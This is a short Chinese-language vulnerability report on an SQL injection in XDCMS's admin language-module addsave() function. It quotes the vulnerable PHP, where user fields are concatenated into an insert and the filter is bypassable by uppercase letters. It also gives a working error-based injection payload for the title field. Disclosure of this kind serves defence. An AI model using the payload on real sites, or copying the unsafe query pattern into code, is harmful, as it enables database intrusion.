XDcms Sql Injection 11-17

### 简要描述： Sql Injection ### 详细说明： 注入在XDCMS企业管理系统后台的板块发布处，\system\modules\xdcms\language.php文件： 管理员在发布板块的时候会调用addsave()函数，七个注入点就出现在该函数里： ``` public function addsave(){ $title=safe_html($_POST['title']);//title中safe_html的规则可被大写字母绕过 $sitename=safe_html($_POST['sitename']);//同上 $dir=safe_html($_POST['dir']);//同上 $seo_title=safe_html($_POST['seo_title']);//同上 $seo_key=safe_html($_POST['seo_key']);//同上 $seo_des=safe_html($_POST['seo_des']);//同上 $copyright=$_POST['copyright'];//同上 if(empty($title)){ showmsg(C('material_not_complete'),'-1'); } //sql语句，将字段插入数据库 $this->mysql->db_insert('language',"`title`='".$title."',`sitename`='".$sitename."',`dir`='".$dir."',`seo_title`='".$seo_title."',`seo_key`='".$seo_key."',`seo_des`='".$seo_des."',`copyright`='".$copyright."'"); $this->language_cache(); showmsg(C('add_success'),'index.php?m=xdcms&c=language'); } ``` ### 漏洞证明： 以title字段为例，在版本添加处的title处插入exp： ``` ' AND EXTRACTVALUE(3145,CONCAT(0x5c,0x716d6b7771,(SELECT (CASE WHEN (3145=3145) THEN 1 ELSE 0 END)),0x7164766771)) AND 'AiAl'='AiAl ``` [<img src="https://images.seebug.org/upload/201402/181314280ce3688049363314f36b42808ec216ca.jpg" alt="x.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/181314280ce3688049363314f36b42808ec216ca.jpg) 存在注入： [<img src="https://images.seebug.org/upload/201402/181314571844c963b2b071b459eef2b83797922e.jpg" alt="x3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/181314571844c963b2b071b459eef2b83797922e.jpg)